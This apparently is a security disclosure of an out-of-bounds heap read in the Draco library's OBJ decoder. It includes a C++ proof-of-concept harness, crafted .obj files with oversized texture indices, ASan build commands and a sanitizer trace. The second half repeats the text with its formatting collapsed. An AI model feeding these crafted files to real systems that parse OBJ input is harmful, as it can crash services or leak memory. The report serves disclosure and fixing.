Summary
- OS: Linux x86_64
- Toolchain: clang 14
- Build:
cmake -DCMAKE_BUILD_TYPE=Debug -DDRACO_BUILD_EXECUTABLES=ON
with -fsanitize=address -fno-omit-frame-pointer -fno-optimize-sibling-calls
- Verified against Draco
main at commit 77e616e (version string 1.5.7).
The Draco OBJ decoder accepts OBJ face definitions whose texture-coordinate or
normal indices refer to entries that were never declared in the file. The
parser validates only that each index is non-zero; it never checks that the
index fits within the number of vt / vn / v entries seen in the first
parsing pass. The unchecked index is stored directly into the per-point
attribute mapping (indices_map_) and later dereferenced by the attribute
deduplication stage, producing an out-of-bounds read in
PointAttribute::DeduplicateFormattedValues.
The vulnerability is reachable from the public ObjDecoder::DecodeFromBuffer
API and from the shipped draco_encoder / draco_decoder command-line tools
when given an attacker-controlled .obj file.
Affected component
- Version: 1.5.7 (current
main, commit 77e616e)
- File:
src/draco/io/obj_decoder.cc
- Entry points:
draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, PointCloud*)
draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, Mesh*)
draco::ObjDecoder::DecodeFromFile(...) (via ReadMeshFromFile /
ReadPointCloudFromFile from draco_encoder / draco_decoder)
Proof of concept
PoC 1 — Library API (minimal, ASan build required to observe)
poc_objdecoder_repro.cc:
#include <iostream>
#include <string>
#include "draco/core/decoder_buffer.h"
#include "draco/core/status.h"
#include "draco/io/obj_decoder.h"
#include "draco/point_cloud/point_cloud.h"
int main() {
// Valid OBJ syntax with three positions, three normals, only three
// texcoords, while the face maps every vertex to texcoord index 100.
const std::string obj =
"v 0 0 0\n"
"v 1 0 0\n"
"v 0 1 0\n"
"vt 0 0\n"
"vt 0 0\n"
"vt 0 0\n"
"vn 0 0 1\n"
"vn 0 0 1\n"
"vn 0 0 1\n"
"f 1/100/1 2/100/2 3/100/3\n";
draco::DecoderBuffer buffer;
buffer.Init(obj.data(), obj.size());
draco::ObjDecoder decoder;
draco::PointCloud pc;
const draco::Status status = decoder.DecodeFromBuffer(&buffer, &pc);
std::cerr << "Decode status ok: " << status.ok() << "\n";
if (!status.ok()) std::cerr << status.error_msg() << "\n";
return status.ok() ? 0 : 1;
}
Build and run under ASan:
cmake -S <draco> -B /tmp/draco-asan -DCMAKE_BUILD_TYPE=Debug \
-DDRACO_BUILD_EXECUTABLES=OFF \
-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
-DCMAKE_C_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
-DCMAKE_CXX_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address'
cmake --build /tmp/draco-asan --target draco -j
clang++ -std=c++17 -g -O1 -fsanitize=address -fno-omit-frame-pointer \
-I<draco>/src -I/tmp/draco-asan poc_objdecoder_repro.cc \
/tmp/draco-asan/libdraco.a -lpthread -o /tmp/poc_objdecoder_repro
ASAN_OPTIONS=abort_on_error=1:symbolize=1 /tmp/poc_objdecoder_repro
PoC 2 — Shipped CLI, ASan build (reliable crash)
Save the same OBJ to /tmp/crash.obj and run the sanitizer-built encoder:
ASAN_OPTIONS=abort_on_error=1:symbolize=1 \
/tmp/draco-asan/draco_encoder -i /tmp/crash.obj -o /tmp/out.drc
/tmp/crash_big.obj:
v 0 0 0
v 1 0 0
v 0 1 0
vt 0 0
vt 0 0
vt 0 0
vn 0 0 1
vn 0 0 1
vn 0 0 1
f 1/2000000000/1 2/2000000000/2 3/2000000000/3
Observed output
ASan report
==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000002bc
READ of size 4 at 0x5020000002bc thread T0
#0 draco::IndexType<...>::IndexType(...) core/draco_index_type.h:70:54
#1 draco::PointAttribute::DeduplicateFormattedValues<float, 2>
attributes/point_attribute.cc:219:27
#2 draco::PointAttribute::DeduplicateTypedValues<float>
attributes/point_attribute.cc:139:14
#3 draco::PointAttribute::DeduplicateValues(...) attributes/point_attribute.cc:97:21
#4 draco::PointAttribute::DeduplicateValues(...) attributes/point_attribute.cc:88:10
#5 draco::PointCloud::DeduplicateAttributeValues() point_cloud/point_cloud.cc:294:29
#6 draco::ObjDecoder::DecodeInternal() io/obj_decoder.cc:274:23
#7 draco::ObjDecoder::DecodeFromBuffer(...) io/obj_decoder.cc:85:10
(or DecodeFromFile / ReadMeshFromFile / draco_encoder main on PoC #2)
0x5020000002bc is located 384 bytes after 12-byte region [0x502000000130,0x50200000013c)
Summary
cmake -DCMAKE_BUILD_TYPE=Debug -DDRACO_BUILD_EXECUTABLES=ONwith
-fsanitize=address -fno-omit-frame-pointer -fno-optimize-sibling-callsmainat commit77e616e(version string 1.5.7).The Draco OBJ decoder accepts OBJ face definitions whose texture-coordinate or
normal indices refer to entries that were never declared in the file. The
parser validates only that each index is non-zero; it never checks that the
index fits within the number of
vt/vn/ventries seen in the firstparsing pass. The unchecked index is stored directly into the per-point
attribute mapping (
indices_map_) and later dereferenced by the attributededuplication stage, producing an out-of-bounds read in
PointAttribute::DeduplicateFormattedValues.The vulnerability is reachable from the public
ObjDecoder::DecodeFromBufferAPI and from the shipped
draco_encoder/draco_decodercommand-line toolswhen given an attacker-controlled
.objfile.Affected component
main, commit77e616e)src/draco/io/obj_decoder.ccdraco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, PointCloud*)draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, Mesh*)draco::ObjDecoder::DecodeFromFile(...)(viaReadMeshFromFile/ReadPointCloudFromFilefromdraco_encoder/draco_decoder)Proof of concept
PoC 1 — Library API (minimal, ASan build required to observe)
poc_objdecoder_repro.cc:Build and run under ASan:
PoC 2 — Shipped CLI, ASan build (reliable crash)
Save the same OBJ to
/tmp/crash.objand run the sanitizer-built encoder:/tmp/crash_big.obj:Observed output
ASan report